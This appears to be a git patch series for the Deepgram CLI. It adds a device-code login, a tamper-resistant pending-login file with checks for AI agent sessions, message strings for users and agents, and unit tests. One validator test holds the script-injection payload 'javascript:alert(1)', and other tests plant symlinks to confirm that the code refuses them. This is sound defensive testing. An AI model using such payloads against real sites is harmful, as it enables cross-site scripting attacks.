+    fd = os.open(directory, os.O_RDONLY | _O_DIRECTORY)
+    try:
+        st = os.fstat(fd)
+        if not stat.S_ISDIR(st.st_mode):
+            raise StateDirError(errno.ENOTDIR, "not a directory", str(directory))
+        if sys.platform != "win32":
+            if st.st_uid != os.geteuid():
+                raise StateDirError(
+                    errno.EPERM, "owned by another user", str(directory)
+                )
+            if create and stat.S_IMODE(st.st_mode) & 0o077:
+                os.fchmod(fd, 0o700)
+    except BaseException:
+        os.close(fd)
+        raise
+    return fd
+
+
+def save_pending(pending: PendingLogin) -> Path:
+    """Write ``pending`` to ``{state_dir}/login-pending.json`` at 0600.
+
+    The state directory is created 0700. The new content goes to a fresh
+    0600 file (``O_CREAT|O_EXCL|O_NOFOLLOW``) next to the target and
+    replaces it atomically, so a reader never sees half a file and a
+    planted symlink is never followed. Raises OSError (StateDirError for a
+    directory dg can't use).
+    """
+    directory = state_dir()
+    target = directory / PENDING_NAME
+    data = (json.dumps(asdict(pending), indent=2) + "\n").encode("utf-8")
+    tmp_name = f".{PENDING_NAME}.{secrets.token_hex(8)}.tmp"
+    dir_fd = _open_dir(directory, create=True)
+    use_dir_fd = sys.platform != "win32" and os.open in os.supports_dir_fd
+    try:
+        flags = os.O_WRONLY | os.O_CREAT | os.O_EXCL | _O_NOFOLLOW | _O_BINARY
+        if use_dir_fd:
+            fd = os.open(tmp_name, flags, 0o600, dir_fd=dir_fd)
+        else:
+            fd = os.open(directory / tmp_name, flags, 0o600)
+        try:
+            try:
+                if hasattr(os, "fchmod"):
+                    os.fchmod(fd, 0o600)
+                view = memoryview(data)
+                while view:
+                    view = view[os.write(fd, view) :]
+                os.fsync(fd)
+            finally:
+                os.close(fd)
+            if use_dir_fd:
+                os.replace(tmp_name, PENDING_NAME, src_dir_fd=dir_fd, dst_dir_fd=dir_fd)
+            else:
+                os.replace(directory / tmp_name, target)
+        except BaseException:
+            try:
+                if use_dir_fd:
+                    os.unlink(tmp_name, dir_fd=dir_fd)
+                else:
+                    os.unlink(directory / tmp_name)
+            except OSError:
+                pass
+            raise
+    finally:
+        os.close(dir_fd)
+    return target
+
+
+@dataclass(frozen=True)
+class LoadedPending:
+    """What ``load_pending`` found: the login, or why the file was ignored."""
+
+    pending: PendingLogin | None
+    path: Path
+    ignored_why: str | None = None
+    identity: tuple[int, int] | None = None
+
+
+def load_pending(*, agent: bool) -> LoadedPending:
+    """Read the pending login, if there is a usable one.
+
+    The file is opened without following a symlink and must be a regular
+    file. In an AI agent session (``agent``) it must also be owned by this
+    user, with one link and no group or other write bit;
+    otherwise it is ignored (``ignored_why`` says why) and left in place.
+    A missing or malformed file is simply absent.
+    """
+    path = state_dir() / PENDING_NAME
+    try:
+        fd = os.open(path, os.O_RDONLY | _O_NOFOLLOW | _O_NONBLOCK | _O_BINARY)
+    except FileNotFoundError:
+        return LoadedPending(None, path)
+    except OSError as exc:
+        if exc.errno in (errno.ELOOP, errno.EMLINK):
+            return LoadedPending(None, path, WHY_SYMLINK if agent else None)
+        if agent and sys.platform != "win32":
+            # e.g. EACCES: say so when the file belongs to someone else.
+            try:
+                if os.lstat(path).st_uid != os.geteuid():
+                    return LoadedPending(None, path, WHY_OWNER)
+            except OSError:
+                pass
+        return LoadedPending(None, path)
+    try:
+        st = os.fstat(fd)
+        if not stat.S_ISREG(st.st_mode):
+            return LoadedPending(None, path, WHY_NOT_REGULAR if agent else None)
+        if agent and sys.platform != "win32":
+            why = None
+            if st.st_uid != os.geteuid():
+                why = WHY_OWNER
+            elif stat.S_IMODE(st.st_mode) & 0o022:
+                why = WHY_WRITABLE
+            elif st.st_nlink != 1:
+                why = WHY_LINKS
+            if why is not None:
+                return LoadedPending(None, path, why)
+        raw = os.read(fd, _MAX_PENDING_BYTES + 1)
+    finally:
+        os.close(fd)
+    identity = (st.st_dev, st.st_ino)
+    if len(raw) > _MAX_PENDING_BYTES:
+        return LoadedPending(None, path, identity=identity)
+    try:
+        data = json.loads(raw.decode("utf-8"))
+    except ValueError:
+        return LoadedPending(None, path, identity=identity)
+    return LoadedPending(_from_json(data), path, identity=identity)
+
+
+def remove_pending(loaded: LoadedPending) -> None:
+    """Delete the pending file ``loaded`` came from, if it is still that file.
+
+    A ``dg login`` replacing the file between the check and the unlink loses
+    its new code; the cost is one more ``dg login``.
+    """
+    if loaded.identity is None:
+        return
+    try:
+        st = os.lstat(loaded.path)
+    except OSError:
+        return
+    if (st.st_dev, st.st_ino) != loaded.identity:
+        return  # replaced by a newer dg login meanwhile: keep it
+    try:
+        os.unlink(loaded.path)
+    except FileNotFoundError:
+        pass
diff --git a/packages/deepctl-core/src/deepctl_core/messages.py b/packages/deepctl-core/src/deepctl_core/messages.py
index 18618905..870b51c6 100644
--- a/packages/deepctl-core/src/deepctl_core/messages.py
+++ b/packages/deepctl-core/src/deepctl_core/messages.py
@@ -162,6 +162,73 @@
 C_CONFIRM_YES_NULL = (
     "Add --yes to this command in the job if replacing the saved login is intended."
 )
+
+# Device login for agents (catalogue strings).
+CODE_AUTH_PENDING = "auth_pending"
+CODE_AUTH_EXPIRED = "auth_expired"
+CODE_AUTH_DENIED = "auth_denied"
+CODE_STATE_UNWRITABLE = "state_unwritable"
+M_LOGIN_PENDING = "Open the link and enter the code to finish logging in."
+I_LOGIN_PENDING = (
+    "To finish logging in, open {verification_uri} and enter the code {user_code}."
+)
+A_LOGIN_PENDING = (
+    "Give the user the link and code, then run {prog} login --complete after "
+    "they approve."
+)
+# The person's variant of the line above (mode H/P).
+H_LOGIN_PENDING = (
+    "After you approve the login in your browser, run {prog} login --complete."
+)
+E_AUTH_PENDING = "Login is waiting for approval in the browser."
+H_AUTH_PENDING = (
+    "Open {verification_uri}, enter the code {user_code}, then run {prog} login "
+    "--complete."
+)
+A_AUTH_PENDING = (
+    "Wait {retry_after} s for the user to approve the login at "
+    "{verification_uri} with the code {user_code}, then run {prog} login --complete."
+)
+E_AUTH_EXPIRED = "No login is waiting to be completed, or it expired."
+H_AUTH_EXPIRED = "Run {prog} login to start again."
+A_AUTH_EXPIRED = "Run {prog} login again and give the user the new link and code."
+E_AUTH_DENIED = "The login request was denied in the browser."
+H_AUTH_DENIED = "Run {prog} login to try again."
+A_AUTH_DENIED = "The user denied the login. Ask them before trying again."
+E_STATE_UNWRITABLE = "{prog} can't save a login here: {dir} isn't writable."
+H_STATE_UNWRITABLE = (
+    "Run {prog} login in a terminal where your home directory is writable."
+)
+A_STATE_UNWRITABLE = (
+    "This environment can't store credentials. Ask the user to run {prog} login "
+    "in their own terminal."
+)
+# Login and an untrusted user config: the config file (``{path}``, shown with
+# ``~``) can't be saved in this AI agent session, so login stops before
+# anything is sent. Code state_unwritable; hint W_CFG_UNTRUSTED_FILE_HINT.
+# {why} is a W_CFG_UNTRUSTED_WHY value.
+E_CFG_SAVE_UNTRUSTED = (
+    "In an AI agent session, {prog} can't save a login to {path} because the "
+    "file {why}. Nothing was sent or saved."
+)
+# A pending device-login file that fails the agent-session test;
+# it is ignored and left in place.
+W_LOGIN_PENDING_UNTRUSTED = (
+    "Ignored the pending login in {path}: in an AI agent session, {prog} "
+    "doesn't use a file that {why}."
+)
+# The identity provider's device-code answer couldn't be read (code
+# network_unavailable, details.reason "unreadable response").
+CODE_NETWORK_UNAVAILABLE = "network_unavailable"
+E_NETWORK_UNREADABLE = "Got a response from {host} that {prog} couldn't read."
+H_NETWORK_UNREADABLE = (
+    "A proxy, captive portal or firewall may be answering in Deepgram's place. "
+    "Check that this network lets {prog} reach {host}, then try again."
+)
+A_NETWORK_UNREADABLE = (
+    "Retry once. If it fails again, tell the user that something on this network "
+    "(a proxy, captive portal or firewall) is answering in Deepgram's place."
+)
 E_SAVE_CUSTOM_CONFIG = (
     "--save-base-url can't be used with --config: only the default user "
     "config ({user_config}) can approve API hosts. Run the command without "
diff --git a/packages/deepctl-core/tests/unit/test_auth.py b/packages/deepctl-core/tests/unit/test_auth.py
index 74959b68..6554b56b 100644
--- a/packages/deepctl-core/tests/unit/test_auth.py
+++ b/packages/deepctl-core/tests/unit/test_auth.py
@@ -1,8 +1,8 @@
 """Tests for the authentication module."""
 
+import json
 from datetime import datetime, timedelta, timezone
 from unittest.mock import MagicMock, Mock, patch
-from urllib.parse import parse_qs, urlparse
 
 import httpx
 import keyring.errors
@@ -820,19 +820,21 @@ def test_get_api_key_uses_explicit_key(self, mock_config):
 
         assert auth.get_api_key() == "sk-explicit"
 
-    def test_poll_for_token_encodes_device_flow_parameters(self, mock_config):
+    def test_poll_for_token_posts_without_a_hostname(self, mock_config):
+        """RFC 8628 §3.4: the device code goes in a POST body, never a URL, and
+        no machine name is sent."""
         from deepctl_core.auth import DeviceCodeResponse
 
         auth = self._make_auth(mock_config)
         response = Mock()
-        response.status_code = 201
+        response.status_code = 200
         response.json.return_value = {
             "access_token": "jwt",
             "dg_token": "dg-finite-key",
             "dg_expires_in": 3600,
-            "project_id": "project",
+            "pid": "project",
         }
-        auth.client.get.return_value = response
+        auth.client.post.return_value = response
 
         token = auth._poll_for_token(
             DeviceCodeResponse(
@@ -841,16 +843,164 @@ def test_poll_for_token_encodes_device_flow_parameters(self, mock_config):
                 expires_in=600,
                 interval=1,
             ),
-            "test-host",
+            "https://id.example.test",
         )
 
-        poll_url = auth.client.get.call_args.args[0]
-        assert parse_qs(urlparse(poll_url).query) == {
-            "device_code": ["device-code"],
-            "client_id": ["deepgram-cli"],
-            "hostname": ["test-host"],
+        auth.client.get.assert_not_called()
+        url = auth.client.post.call_args.args[0]
+        assert url == "https://id.example.test/token"
+        assert auth.client.post.call_args.kwargs["data"] == {
+            "grant_type": "urn:ietf:params:oauth:grant-type:device_code",
+            "device_code": "device-code",
+            "client_id": "deepgram-cli",
         }
         assert token.dg_token == "dg-finite-key"
+        assert token.pid == "project"
+
+    @pytest.mark.parametrize(
+        ("status", "body", "state"),
+        [
+            (400, {"error": "authorization_pending"}, "pending"),
+            (400, {"error": "slow_down"}, "slow_down"),
+            (429, {}, "slow_down"),
+            (400, {"error": "access_denied"}, "denied"),
+            (400, {"error": "expired_token"}, "expired"),
+            (400, {"error": "invalid_grant"}, "error"),
+            (500, None, "unavailable"),
+            (503, {"error": "temporarily_unavailable"}, "unavailable"),
+            (400, {"error": "temporarily_unavailable"}, "unavailable"),
+        ],
+    )
+    def test_poll_device_token_maps_rfc8628_answers(
+        self, mock_config, status, body, state
+    ):
+        auth = self._make_auth(mock_config)
+        response = Mock()
+        response.status_code = status
+        if body is None:
+            response.json.side_effect = ValueError("not json")
+        else:
+            response.json.return_value = body
+        auth.client.post.return_value = response
+        assert auth.poll_device_token("dc", "https://id.example.test").state == state
+
+    @pytest.mark.parametrize(("status", "header", "want"), [(429, "30", 30), (503, "60", 60), (429, "Wed, 21 Oct 2026 07:28:00 GMT", None)])
+    def test_poll_reads_retry_after(self, mock_config, status, header, want):
+        auth = self._make_auth(mock_config)
+        response = Mock(status_code=status, headers={"Retry-After": header})
+        response.json.return_value = {}
+        auth.client.post.return_value = response
+        assert auth.poll_device_token("dc", "https://id.example.test").retry_after == want
+
+    def test_wait_polls_no_faster_than_6_s_and_backs_off(self, mock_config, monkeypatch):
+        from deepctl_core import auth as auth_module
+        from deepctl_core.auth import DeviceCodeResponse, DevicePoll, TokenResponse
+
+        auth = self._make_auth(mock_config)
+        slept = []
+        monkeypatch.setattr(auth_module.time, "sleep", slept.append)
+        answers = [
+            DevicePoll("pending"),
+            DevicePoll("unavailable", retry_after=20),
+            DevicePoll("slow_down"),
+            DevicePoll("token", token=TokenResponse(access_token="j", dg_token="k")),
+        ]
+        monkeypatch.setattr(auth, "poll_device_token", lambda *a: answers.pop(0))
+        auth._poll_for_token(
+            DeviceCodeResponse(
+                device_code="dc",
+                verification_uri="https://id.example.test/auth/cli",
+                expires_in=600,
+                interval=1,
+            ),
+            "https://id.example.test",
+        )
+        assert slept == [6, 20, 25]
+
+    def test_terminal_flow_prints_the_link_and_code_line(self, mock_config, monkeypatch, capsys):
+        """J2.3: the person's flow shows I-LOGIN-PENDING on stderr."""
+        from deepctl_core import auth as auth_module
+        from deepctl_core import output
+        from deepctl_core.auth import DeviceCodeResponse, TokenResponse
+
+        auth = self._make_auth(mock_config)
+        monkeypatch.setattr(auth_module, "check_identity_host", lambda c: "https://id.example.test")
+        monkeypatch.setattr(
+            auth,
+            "_request_device_code",
+            lambda url: DeviceCodeResponse(
+                device_code="dc",
+                user_code="WDJB-MJHT",
+                verification_uri="https://id.example.test/auth/cli",
+                expires_in=600,
+            ),
+        )
+        monkeypatch.setattr(auth, "_poll_for_token", lambda *a: TokenResponse(access_token="j"))
+        monkeypatch.setattr(auth, "_store_token", lambda t: None)
+        monkeypatch.setattr(auth_module.webbrowser, "open", lambda url: True)
+        monkeypatch.setitem(output._output_config, "agentic", False)
+        monkeypatch.setitem(output._output_config, "quiet", False)
+        monkeypatch.setattr(output.stderr_console, "_width", 400)
+        for open_browser in (True, False):
+            auth.login_with_device_flow(open_browser=open_browser)
+            err = capsys.readouterr().err
+            assert (
+                "To finish logging in, open https://id.example.test/auth/cli and "
+                "enter the code WDJB-MJHT." in err
+            )
+            assert "Enter code" not in err and "didn't open" not in err
+            assert ("Opening browser" in err) is open_browser
+            assert ("Open the link below" in err) is (not open_browser)
+
+    def test_device_code_request_sends_no_hostname(self, mock_config):
+        auth = self._make_auth(mock_config)
+        response = Mock()
+        response.status_code = 201
+        response.json.return_value = {
+            "device_code": "dc",
+            "user_code": "ABCD-EFGH",
+            "verification_uri": "https://id.example.test/auth/cli",
+            "expires_in": 300,
+            "interval": 5,
+        }
+        auth.client.post.return_value = response
+        auth._request_device_code("https://id.example.test")
+        sent = auth.client.post.call_args.kwargs["json"]
+        assert sent["hostname"] == "deepctl"
+        import os as _os
+
+        if hasattr(_os, "uname"):
+            assert _os.uname().nodename not in json.dumps(sent)
+
+    @pytest.mark.parametrize(
+        "uri",
+        ["http://id.example.test/auth/cli", "ftp://x/y", "javascript:alert(1)"],
+    )
+    def test_device_code_link_must_be_https(self, mock_config, uri):
+        from deepctl_core.auth import AuthenticationError
+
+        auth = self._make_auth(mock_config)
+        response = Mock()
+        response.status_code = 201
+        response.json.return_value = {
+            "device_code": "dc",
+            "user_code": "ABCD-EFGH",
+            "verification_uri": uri,
+            "expires_in": 300,
+        }
+        auth.client.post.return_value = response
+        with pytest.raises(AuthenticationError):
+            auth._request_device_code("https://id.example.test")
+
+    def test_device_code_link_may_be_loopback_http(self, mock_config):
+        from deepctl_core.auth import DeviceCodeResponse
+
+        d = DeviceCodeResponse(
+            device_code="dc",
+            verification_uri="http://127.0.0.1:8080/auth/cli",
+            expires_in=300,
+        )
+        assert d.interval == 5
 
     # ------------------------------------------------------------------
     # logout — clears JWT entries
diff --git a/packages/deepctl-core/tests/unit/test_config_login.py b/packages/deepctl-core/tests/unit/test_config_login.py
new file mode 100644
index 00000000..1528f122
--- /dev/null
+++ b/packages/deepctl-core/tests/unit/test_config_login.py
@@ -0,0 +1,36 @@
+"""Config details login relies on: the refusal carries its cause, and the
+legacy-config migration never writes to stdout."""
+
+from __future__ import annotations
+
+import os
+import sys
+from pathlib import Path
+
+import pytest
+from deepctl_core import config as config_module
+from deepctl_core.config import Config, ConfigSaveRefused
+
+
+def test_save_refusal_carries_its_cause(tmp_path):
+    exc = config_module._save_refused("writable", tmp_path / "c.yaml")
+    assert isinstance(exc, ConfigSaveRefused)
+    assert exc.why == "writable"
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason="POSIX homes")
+def test_legacy_migration_prints_to_stderr_only(tmp_path, monkeypatch, capsys):
+    home = tmp_path / "home"
+    old = home / ".config" / "deepgram"
+    old.mkdir(parents=True)
+    (old / "config.yaml").write_text("output:\n  format: json\n")
+    monkeypatch.setenv("HOME", str(home))
+    monkeypatch.delenv("XDG_CONFIG_HOME", raising=False)
+    monkeypatch.setattr(Path, "home", staticmethod(lambda: home))
+    monkeypatch.setattr("deepctl_core.output.is_ai_agent", lambda: False)
+    monkeypatch.chdir(tmp_path)
+    Config()
+    captured = capsys.readouterr()
+    assert captured.out == ""
+    assert "Migrating config" in captured.err
+    assert os.path.exists(home / ".config" / "deepctl" / "config.yaml")
diff --git a/packages/deepctl-core/tests/unit/test_login_state.py b/packages/deepctl-core/tests/unit/test_login_state.py
new file mode 100644
index 00000000..c8f84dbd
--- /dev/null
+++ b/packages/deepctl-core/tests/unit/test_login_state.py
@@ -0,0 +1,186 @@
+"""The state dir helper and the pending device-login store."""
+
+from __future__ import annotations
+
+import json
+import os
+import stat
+import sys
+from pathlib import Path
+
+import pytest
+from deepctl_core import login_state
+from deepctl_core.login_state import (
+    PendingLogin,
+    load_pending,
+    remove_pending,
+    save_pending,
+    unwritable_dir,
+)
+
+posix = pytest.mark.skipif(sys.platform == "win32", reason="POSIX modes")
+
+
+@pytest.fixture
+def state(tmp_path, monkeypatch):
+    home = tmp_path / "home"
+    home.mkdir()
+    monkeypatch.setattr(Path, "home", staticmethod(lambda: home))
+    return home / ".deepctl"
+
+
+def pending(**over):
+    values = dict(
+        device_code="dc",
+        user_code="ABCD-EFGH",
+        verification_uri="https://id.example/auth/cli",
+        interval=6,
+        expires_at=2_000_000_000.0,
+        host="https://id.example",
+        profile="default",
+    )
+    values.update(over)
+    return PendingLogin(**values)
+
+
+def test_state_dir_is_dot_deepctl_in_home(state):
+    assert login_state.state_dir() == state
+
+
+@posix
+@pytest.mark.parametrize("umask", [0o022, 0o002, 0o077, 0])
+def test_saved_file_is_0600_in_a_0700_dir(state, umask):
+    old = os.umask(umask)
+    try:
+        path = save_pending(pending())
+    finally:
+        os.umask(old)
+    assert stat.S_IMODE(path.stat().st_mode) == 0o600
+    assert stat.S_IMODE(state.stat().st_mode) == 0o700
+    assert json.loads(path.read_text())["device_code"] == "dc"
+    assert [p.name for p in state.iterdir()] == ["login-pending.json"]
+
+
+def test_save_replaces_atomically(state):
+    save_pending(pending(device_code="one"))
+    save_pending(pending(device_code="two"))
+    assert load_pending(agent=True).pending.device_code == "two"
+    assert [p.name for p in state.iterdir()] == ["login-pending.json"]
+
+
+@posix
+def test_save_never_follows_a_planted_link(state, tmp_path):
+    state.mkdir(mode=0o700)
+    target = tmp_path / "victim"
+    target.write_text("keep")
+    (state / "login-pending.json").symlink_to(target)
+    save_pending(pending())
+    assert target.read_text() == "keep"
+    assert not (state / "login-pending.json").is_symlink()
+
+
+@posix
+def test_state_dir_owned_by_someone_else_is_refused(state, monkeypatch):
+    state.mkdir(mode=0o700)
+    other = os.geteuid() + 1
+    monkeypatch.setattr(login_state.os, "geteuid", lambda: other)
+    with pytest.raises(login_state.StateDirError):
+        save_pending(pending())
+
+
+def test_round_trip_and_remove(state):
+    save_pending(pending())
+    loaded = load_pending(agent=True)
+    assert loaded.pending == pending() and loaded.ignored_why is None
+    remove_pending(loaded)
+    assert not loaded.path.exists()
+
+
+def test_remove_keeps_a_newer_file(state):
+    save_pending(pending(device_code="old"))
+    loaded = load_pending(agent=True)
+    save_pending(pending(device_code="new"))
+    remove_pending(loaded)
+    assert load_pending(agent=True).pending.device_code == "new"
+
+
+@pytest.mark.parametrize(
+    "text",
+    ["", "not json", "[]", '{"device_code": "dc"}', json.dumps({"interval": True})],
+)
+def test_malformed_file_is_absent(state, text):
+    state.mkdir()
+    (state / "login-pending.json").write_text(text)
+    (state / "login-pending.json").chmod(0o600)  # any umask
+    loaded = load_pending(agent=True)
+    assert loaded.pending is None and loaded.ignored_why is None
+
+
+@posix
+@pytest.mark.parametrize(("mode", "why"), [(0o666, "writable"), (0o620, "writable")])
+def test_agent_ignores_a_file_others_can_change(state, mode, why):
+    path = save_pending(pending())
+    os.chmod(path, mode)
+    assert load_pending(agent=True).ignored_why == why
+    assert load_pending(agent=False).pending == pending()
+
+
+@posix
+def test_agent_ignores_a_hard_linked_file(state, tmp_path):
+    path = save_pending(pending())
+    os.link(path, tmp_path / "other")
+    assert load_pending(agent=True).ignored_why == "links"
+
+
+def test_expiry(state):
+    p = pending(expires_at=100.0)
+    assert p.expired(now=100.0) and not p.expired(now=99.0)
+    assert p.expires_in(now=40.0) == 60
+
+
+@posix
+def test_unwritable_dir_checks_the_nearest_existing_parent(tmp_path):
+    ro = tmp_path / "ro"
+    ro.mkdir()
+    os.chmod(ro, 0o500)
+    try:
+        if os.access(ro, os.W_OK):
+            pytest.skip("root ignores directory modes")
+        assert unwritable_dir(ro / "a" / "b") == ro / "a" / "b"
+        assert unwritable_dir(tmp_path / "new" / "dir") is None
+        f = ro / "config.yaml"
+        assert unwritable_dir(ro, f) == ro
+    finally:
+        os.chmod(ro, 0o700)
+    f.write_text("x")
+    os.chmod(ro, 0o500)
+    try:
+        assert unwritable_dir(ro, f) is None  # rewritten in place
+    finally:
+        os.chmod(ro, 0o700)
+
+
+def test_a_file_in_the_way_is_unwritable(tmp_path):
+    (tmp_path / "file").write_text("x")
+    assert unwritable_dir(tmp_path / "file" / "sub") == tmp_path / "file" / "sub"
+
+
+@posix
+def test_unreadable_file_of_someone_else_is_reported(state, monkeypatch):
+    path = save_pending(pending())
+    os.chmod(path, 0)
+    try:
+        if os.access(path, os.R_OK):
+            pytest.skip("root reads any file")
+        assert load_pending(agent=True).ignored_why is None  # our own file
+        other = os.geteuid() + 1
+        monkeypatch.setattr(login_state.os, "geteuid", lambda: other)
+        assert load_pending(agent=True).ignored_why == "owner"
+        assert load_pending(agent=False).ignored_why is None
+    finally:
+        os.chmod(path, 0o600)
+
+
+def test_interval_below_the_floor_is_raised_on_read(state):
+    save_pending(pending(interval=1))
+    assert load_pending(agent=True).pending.interval == login_state.MIN_POLL_INTERVAL
diff --git a/src/deepctl/_manifest.d/login.json b/src/deepctl/_manifest.d/login.json
index 700e53ed..4060433f 100644
--- a/src/deepctl/_manifest.d/login.json
+++ b/src/deepctl/_manifest.d/login.json
@@ -8,7 +8,7 @@
   "requires_auth": false,
   "help": {
     "name": "login",
-    "help": "Log in to Deepgram with browser-based authentication or API key\n\nExamples:\n  dg login\n  dg login --api-key YOUR_API_KEY\n  dg login --api-key YOUR_KEY --project-id YOUR_PROJECT\n  dg login --profile staging --api-key YOUR_KEY\n  dg --base-url https://api.eu.deepgram.com login --save-base-url\n\n\nFor agents, use --agent-friendly.",
+    "help": "Log in to Deepgram with browser-based authentication or API key\n\nExamples:\n  dg login\n  dg login --no-browser\n  dg login --complete\n  dg login --api-key YOUR_API_KEY\n  dg login --api-key YOUR_KEY --project-id YOUR_PROJECT\n  dg login --profile staging --api-key YOUR_KEY\n  dg --base-url https://api.eu.deepgram.com login --save-base-url\n\n\nFor agents, use --agent-friendly.",
     "short_help": "Log in to Deepgram",
     "epilog": null,
     "hidden": false,
@@ -37,6 +37,69 @@
         "hidden": false,
         "help": "Save the --base-url URL as this profile's API URL (asks for confirmation in a terminal)"
       },
+      {
+        "class": "option",
+        "name": "wait",
+        "opts": [
+          "--wait"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Wait until the browser login is approved (the default in a terminal), instead of exiting with the link and code; with --complete, keep checking"
+      },
+      {
+        "class": "option",
+        "name": "complete",
+        "opts": [
+          "--complete"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Finish a pending browser login: check once whether it was approved, and save the key if it was (add --wait to keep checking)"
+      },
+      {
+        "class": "option",
+        "name": "no_browser",
+        "opts": [
+          "--no-browser"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Print the login link and code instead of opening a browser, then exit; finish with --complete, or add --wait to wait here"
+      },
       {
         "class": "option",
         "name": "profile",

From e80a8a384b0718a26297a6e28a5068e0f9ad2341 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sat, 31 Oct 2026 11:27:42 -0400
Subject: [PATCH 13/88] perf(core): drop the pre-flight key check and reuse one
 HTTP client

Every authed command listed projects before its real request, twice
(once in BaseCommand.execute and again when the SDK client was built),
on a second TCP connection. That cost two round trips per command and
31 s on a stalled network.

- guard() checks only that a key is present. The host check still runs
  first, before any key is read, and the missing-key (auth_required) and
  E_KEY_UNTRUSTED paths are unchanged. The removed check's error text
  ("Network error during verification: ...", "Your API key may have
  expired or been revoked.") is gone.
- New deepctl_core.transport: one httpx.Client per process, created on
  first use and passed to the SDK as httpx_client. It carries no base
  URL, no credentials and keeps no cookies; DeepgramClient still takes
  the base URL from hosts.check_credential_host(). Its timeout matches
  the SDK's own client (60 s). It follows no redirects, as 0.4.1's SDK
  client doesn't, and a 3xx keeps 0.4.1's refusal.
- Request failures map to the catalogue's transport_mapping codes: DNS,
  connect, TLS, reset, a proxy refusal, a cut-off body (E-NETWORK-CUT)
  or a 2xx body that won't parse (E-NETWORK-UNREADABLE) ->
  network_unavailable; timeout -> timeout; 401 auth_invalid; 403
  auth_forbidden; 404 not_found; 429 rate_limited; 400, 422, other 4xx
  invalid_argument; 5xx server_error. The SDK's own retries still run
  first. Other failures keep their 0.4.0 wording.
- BaseCommand renders a mapped failure as two stderr lines (ERROR:/HINT:
  in mode A, a cross and the hint otherwise) and, under a machine
  format, a coded result on stdout with code, hint, next_step,
  schema_version 1 and details; exit 1. details.key_source follows dg
  whoami's order. The 0.4.1 coded results keep their keys.
- dg speak marks stdout as its payload stream once audio starts, so a
  failure mid-stream goes to stderr only, never as JSON after the audio.
- projects --set-default still warns and asks when the key can't see the
  project (404/403); other request failures stop it.

The 0.4.1 host tests that used the pre-flight as their probe now send
the command's own request through the shared client.
---
 .../src/deepctl_cmd_login/command.py          |   5 +
 .../tests/unit/test_login_device_agent.py     |  19 +
 .../src/deepctl_cmd_projects/command.py       |  10 +-
 .../tests/unit/test_projects_command.py       |  35 +
 .../src/deepctl_cmd_speak/command.py          |   6 +
 .../deepctl-core/src/deepctl_core/auth.py     |  25 +-
 .../src/deepctl_core/base_command.py          |  38 +-
 .../deepctl-core/src/deepctl_core/client.py   |  44 +-
 .../src/deepctl_core/transport.py             | 624 +++++++++++++++
 packages/deepctl-core/tests/unit/test_auth.py |  25 +-
 .../tests/unit/test_base_url_paths.py         |  17 +-
 .../tests/unit/test_base_url_provenance.py    |  62 +-
 .../deepctl-core/tests/unit/test_client.py    |   2 +
 .../deepctl-core/tests/unit/test_transport.py | 729 ++++++++++++++++++
 14 files changed, 1570 insertions(+), 71 deletions(-)
 create mode 100644 packages/deepctl-core/src/deepctl_core/transport.py
 create mode 100644 packages/deepctl-core/tests/unit/test_transport.py

diff --git a/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py b/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py
index 0f073e7e..32a369e5 100644
--- a/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py
+++ b/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py
@@ -1100,6 +1100,7 @@ def _complete(
         """``dg login --complete``: poll once (or, with --wait, until done)
         for the saved device code, and save the key once it is approved."""
         import httpx
+        from deepctl_core import transport
 
         stop = _preflight(config)
         if stop is not None:
@@ -1145,6 +1146,10 @@ def _complete(
             try:
                 poll = auth_manager.poll_device_token(pending.device_code, identity_url)
             except httpx.RequestError as e:
+                # The coded network error every other request gets.
+                mapped = transport.map_exception(e, (pending.device_code,))
+                if mapped is not None:
+                    raise mapped from e
                 text = f"Network error while completing the login: {e}"
                 print_error(escape(text))
                 return LoginResult(
diff --git a/packages/deepctl-cmd-login/tests/unit/test_login_device_agent.py b/packages/deepctl-cmd-login/tests/unit/test_login_device_agent.py
index 9d6f32d6..df0f3341 100644
--- a/packages/deepctl-cmd-login/tests/unit/test_login_device_agent.py
+++ b/packages/deepctl-cmd-login/tests/unit/test_login_device_agent.py
@@ -696,6 +696,25 @@ def test_small_pending_interval_is_raised_to_the_floor(env):
     assert result.details["retry_after"] == 6
 
 
+def test_network_error_on_complete_is_coded(env, monkeypatch):
+    import httpx
+    from deepctl_core.transport import TransportError
+
+    run(env)
+
+    def unreachable(self, device_code, identity_url=None):
+        request = httpx.Request("POST", f"{IDENTITY}/oauth/token")
+        raise httpx.ConnectError("[Errno 111] Connection refused", request=request)
+
+    monkeypatch.setattr(AuthManager, "poll_device_token", unreachable)
+    with pytest.raises(TransportError) as err:
+        run(env, complete=True)
+    assert err.value.code == "network_unavailable"
+    assert err.value.error == "Couldn't reach id.dx.deepgram.com: connection refused."
+    assert "device-secret-1" not in err.value.error
+    assert pending_path(env).exists()
+
+
 def test_complete_with_another_profile_is_a_usage_error(env):
     import click
 
diff --git a/packages/deepctl-cmd-projects/src/deepctl_cmd_projects/command.py b/packages/deepctl-cmd-projects/src/deepctl_cmd_projects/command.py
index 5ee065d3..b34b149c 100644
--- a/packages/deepctl-cmd-projects/src/deepctl_cmd_projects/command.py
+++ b/packages/deepctl-cmd-projects/src/deepctl_cmd_projects/command.py
@@ -11,6 +11,7 @@
     get_output_format,
     get_status_console,
 )
+from deepctl_core.transport import TransportError
 from rich.console import Console
 
 from .models import ProjectInfo, ProjectsResult
@@ -321,7 +322,14 @@ def _set_default_project(
             try:
                 client.get_project(project_id)
                 status_console.print("[green]✓[/green] Project ID validated")
-            except Exception as e:
+            except (Exception, TransportError) as e:
